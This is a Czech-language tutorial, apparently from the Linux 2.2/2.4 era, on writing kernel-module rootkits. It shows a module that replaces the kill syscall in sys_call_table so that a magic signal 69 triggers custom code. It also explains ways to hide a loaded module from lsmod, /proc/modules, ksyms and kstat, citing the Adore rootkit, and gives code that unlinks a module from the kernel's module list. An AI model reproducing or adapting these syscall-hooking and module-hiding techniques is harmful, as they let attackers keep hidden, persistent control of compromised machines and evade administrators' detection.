#define __KERNEL__
#define MODULE

#include <linux/module.h>
#include <linux/kernel.h>

/* provede se pri inicializaci modulu */
int init_module() {
	printk(KERN_DEBUG "Module loaded..\n");
	return 0;
}

/* provede se pri ukonceni modulu */
void cleanup_module() {
	printk(KERN_DEBUG "Module unloaded..\n");
}

$ cc -Wall -O2 -c modul.c 

$ insmod modul.o ; lsmod; dmesg| tail -n 1; rmmod modul; dmesg | tail -n1

#define __KERNEL__
#define MODULE

#include <sys/types.h>

#include <linux/module.h>
#include <linux/kernel.h>

#include <sys/syscall.h>

#define MAGIC_SIG       69

extern void *sys_call_table[];

int (*orig_kill) (pid_t, int);

/* nase nove systemove volani */
int new_kill(pid_t pid, int sig) {
        int ret=0;
        if (sig!=MAGIC_SIG)
	  	/* provede puvodni kill */
  		ret=(*orig_kill)(pid,sig);
        else {
                /* nas kod pri zadani kouzelneho signalu ;) */
                printk("<7>signal 69 rulzzz...\n");
        }
        return ret;
}

int init_module() {
	/* ulozi puvodni kill */
        orig_kill=sys_call_table[__NR_kill];

	/* nahradi adresu syscallu v tabulce systemovych volani 
	 * adresou nasi funkce */
        sys_call_table[__NR_kill]=new_kill;

	return 0;
}

void cleanup_module() {
        /* vrati zpet puvodni kill */
        sys_call_table[__NR_kill]=orig_kill;
}

extern void *sys_call_table[];

int (*orig_kill) (pid_t, int);

Zamereni tohoto clanku nemi skryvani modulu, takze jen strucne popisu nektere zpusoby a odkazu zajemce o podrobnejsi popis na prislusne zdroje.
Zavedene moduly zjistime pomoci lsmod, z vypisu ksyms, vypsanim /proc/modules nebo treba pomoci kstat. Existuje nekolik cest, jak ucinit nas modul temer neviditelny. Musime zajistit, aby modul nebyl videt ve vypisu ksyms (resp. cat /proc/ksyms) ani lsmod. Muzeme patchnout query_module, ale to samotne nestaci, lze to snadno obejit (napr. cat /proc/modules ani cat /proc/ksyms nepouzivaji systemove volani query_module). Museli bychom patchnout jeste read(), pro pripad, kdy cteme z /proc/modules resp. /proc/ksyms. To vsak porad neni stoprocentni. Modul porad vypiseme pomoci dd if=/proc/modules bs=1. Vyhodou tohoto zpusobu vsak je, ze muzeme modul bez problemu unloadnout.

Takovy modul snadno objevi kstat. Ten cte primo /dev/kmem, kde hleda mimo jine i pripojene moduly. Jak tuhle utilitku prelstit opet popisuje SpaceWalker v jeho clanku. V podstate pise, ze bysme mohli modul unloadnout, ale pritom ho "zapomenout" odstranit z pameti ;) Tuhle akci nemuzeme provest primo pri loadovani modulu (v init_module()), protoze v te dobe modul jeste neni zaregistrovan. Musime proto patchnout nektere systemove volani tak, aby v urcitem (nami definovanem) pripade provedl nase falesne odpojeni modulu. Podrobnosti nebudu zbytecne opisovat, jeho clanek najdete dole v odkazech.

Abyste nerekli ze tu neni zadny kod, tak popisu sice mene dumyslny (kstat modul samozrejme obevi), ale o to jednodussi zpusob. Do zacatku nam to bude stacit;) Muzeme napsat modul, ktery pri loadnuti skryje nas modul a tim jeho mise zkonci, takze jej zas unloadneme. Tohoto zpusobu vyuziva napr. rootkit Adore. Pred vysvetlenim jeste trochu teorie:
Seznam zavedenych modulu je jednosmerny kruhovy seznam s prvky typu struct module, ktery je definovan v hlavickovem souboru linux/module.h.

struct module
{
        unsigned long size_of_struct;   /* == sizeof(module) */
        struct module *next;
        const char *name;
        unsigned long size;
	
	....
	atd.	

int init_module(void)
{
        if (__this_module.next)
                __this_module.next = __this_module.next->next;

	return 0;
}

int init_module() {

	...
        
	__this_module = *__this_module.next;
	MOD_INC_USE_COUNT;
}